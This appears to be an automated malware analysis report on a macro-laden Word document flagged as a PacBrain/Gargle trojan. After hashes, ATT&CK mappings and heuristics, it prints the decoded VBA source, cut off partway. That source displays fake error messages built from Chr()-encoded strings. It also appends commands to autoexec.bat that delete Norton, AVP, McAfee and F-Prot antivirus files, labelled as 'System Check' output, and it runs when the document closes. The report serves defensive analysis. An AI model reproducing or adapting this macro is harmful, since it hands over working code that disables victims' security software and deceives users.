Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1ca2d50310f96aa…

MALICIOUS

Office (OLE)

80.5 KB Created: 2000-07-11 13:51:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b9c36104766d61dfa23b8b3dc452e38f SHA-1: f6fd8f24e67e63ef250d68fc2a8f18f5651a2ccd SHA-256: f1ca2d50310f96aa390154bbbd95f4a763343dac1b67b529104b469588c6538f
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1490 Inhibit System Recovery

The sample contains a VBA macro that executes upon opening the document, as indicated by the 'Document_Open' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics. This macro attempts to display a fake printer error message to the user and then proceeds to write commands to 'c:\autoexec.bat' that delete files associated with Norton and AVP antivirus software. This behavior suggests an attempt to disable or interfere with security software, likely as a precursor to further malicious activity.

Heuristics 4

  • ClamAV: Doc.Trojan.PacBrain-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.PacBrain-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50109 bytes
SHA-256: 2140977a41e527f37f7430e41f40c3d378d024430e445d2925457518ec6c6d98
Detection
ClamAV: Doc.Trojan.Gargle-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub FilePrintPreview()
Randomize
abcd$ = Chr(85) & Chr(110) & Chr(101) & Chr(120) & Chr(112) & Chr(101) & Chr(99) & Chr(116) & Chr(101) & Chr(100) & Chr(47) & Chr(85) & Chr(110) & Chr(100) & Chr(101) & Chr(102) & Chr(105) & Chr(110) & Chr(101) & Chr(100) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(97) & Chr(116) & Chr(32) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(101) & Chr(115) & Chr(115) & Chr(32)
t = "{00" & Int(Rnd * 999999) & ":" & Int(Rnd * 99999) & "}"
MsgBox abcd$ & t, vbCritical
End Sub
Private Sub Retro()
On Error Resume Next
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "echo ************"
Print #1, "echo ** GarGle **"
Print #1, "echo ************"
'norton
Print #1, "echo [Norton System Check]"
Print #1, "del c:\progra~1\norton~1\*.exe"
Print #1, "del c:\progra~1\norton~1\*.dll"
Print #1, "del c:\progra~1\norton~1\*.dat"
Print #1, "del c:\progra~1\norton~1\*.vxd"
Print #1, "del c:\norton~1\*.exe"
Print #1, "del c:\norton~1\*.dll"
Print #1, "del c:\norton~1\*.dat"
Print #1, "del c:\norton~1\*.vxd"
Print #1, "echo."
'avp
Print #1, "echo [AVP System Check]"
Print #1, "del c:\progra~1\antiv~1\*.avc "
Print #1, "del c:\progra~1\antiv~1\*.set "
Print #1, "del c:\progra~1\antiv~1\*.dll "
Print #1, "del c:\progra~1\antiv~1\*.vxd "
Print #1, "del c:\progra~1\antiv~1\*.exe "
Print #1, "del c:\antiv~1\*.avc "
Print #1, "del c:\antiv~1\*.set "
Print #1, "del c:\antiv~1\*.dll "
Print #1, "del c:\antiv~1\*.vxd "
Print #1, "del c:\antiv~1\*.exe "
Print #1, "echo."
'mcafee
Print #1, "echo [McAfee System Check]"
'just in case its not where its supposed to be :)
Print #1, "del c:\progra~1\mcafee~1\*.dat "
Print #1, "del c:\progra~1\mcafee~1\*.dll "
Print #1, "del c:\progra~1\mcafee~1\*.exe "
Print #1, "del c:\progra~1\mcafee~1\*.vsc "
Print #1, "del c:\progra~1\mcafee\*.dat "
Print #1, "del c:\progra~1\mcafee\*.dll "
Print #1, "del c:\progra~1\mcafee\*.exe "
Print #1, "del c:\progra~1\mcafee\*.vsc "
Print #1, "del c:\mcafee~1\*.dat"
Print #1, "del c:\mcafee~1\*.dll"
Print #1, "del c:\mcafee~1\*.exe"
Print #1, "del c:\mcafee~1\*.vsc"
Print #1, "del c:\mcafee\*.dat"
Print #1, "del c:\mcafee\*.dll"
Print #1, "del c:\mcafee\*.exe"
Print #1, "del c:\mcafee\*.vsc"
Print #1, "echo."
'F-prot
'not widely used in the US, but hey :)
Print #1, "[F-Prot System Check]"
Print #1, "del c:\progra~1\fsi\f-prot\*.exe"
Print #1, "del c:\progra~1\fsi\f-prot\*.dll"
Print #1, "del c:\progra~1\fsi\f-prot\*.vxd"
Print #1, "del c:\progra~1\fsi\f-prot\*.rep"
' just in case
Print #1, "del c:\progra~1\f-prot\*.exe"
Print #1, "del c:\progra~1\f-prot\*.dll"
Print #1, "del c:\progra~1\f-prot\*.vxd"
Print #1, "del c:\progra~1\f-prot\*.rep"
Print #1, "del c:\f-prot\*.exe"
Print #1, "del c:\f-prot\*.dll"
Print #1, "del c:\f-prot\*.vxd"
Print #1, "del c:\f-prot\*.rep"
Print #1, "del c:\fsi\f-prot\*.exe"
Print #1, "del c:\fsi\f-prot\*.dll"
Print #1, "del c:\fsi\f-prot\*.vxd"
Print #1, "del c:\fsi\f-prot\*.rep"
Print #1, "echo."
Print #1, "echo All System Checks have been completed."
Close #1
End Sub


Private Sub ViewVBCode()
Randomize
abcd$ = Chr(85) & Chr(110) & Chr(101) & Chr(120) & Chr(112) & Chr(101) & Chr(99) & Chr(116) & Chr(101) & Chr(100) & Chr(47) & Chr(85) & Chr(110) & Chr(100) & Chr(101) & Chr(102) & Chr(105) & Chr(110) & Chr(101) & Chr(100) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(97) & Chr(116) & Chr(32) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(101) & Chr(115) & Chr(115) & Chr(32)
t = "{00" & Int(Rnd * 999999) & ":" & Int(Rnd * 99999) & "}"
MsgBox abcd$ & t, vbCritical
End Sub

Private Sub Document_Close()
Document_Open
Retro
End Sub

Private Sub Documen
... (truncated)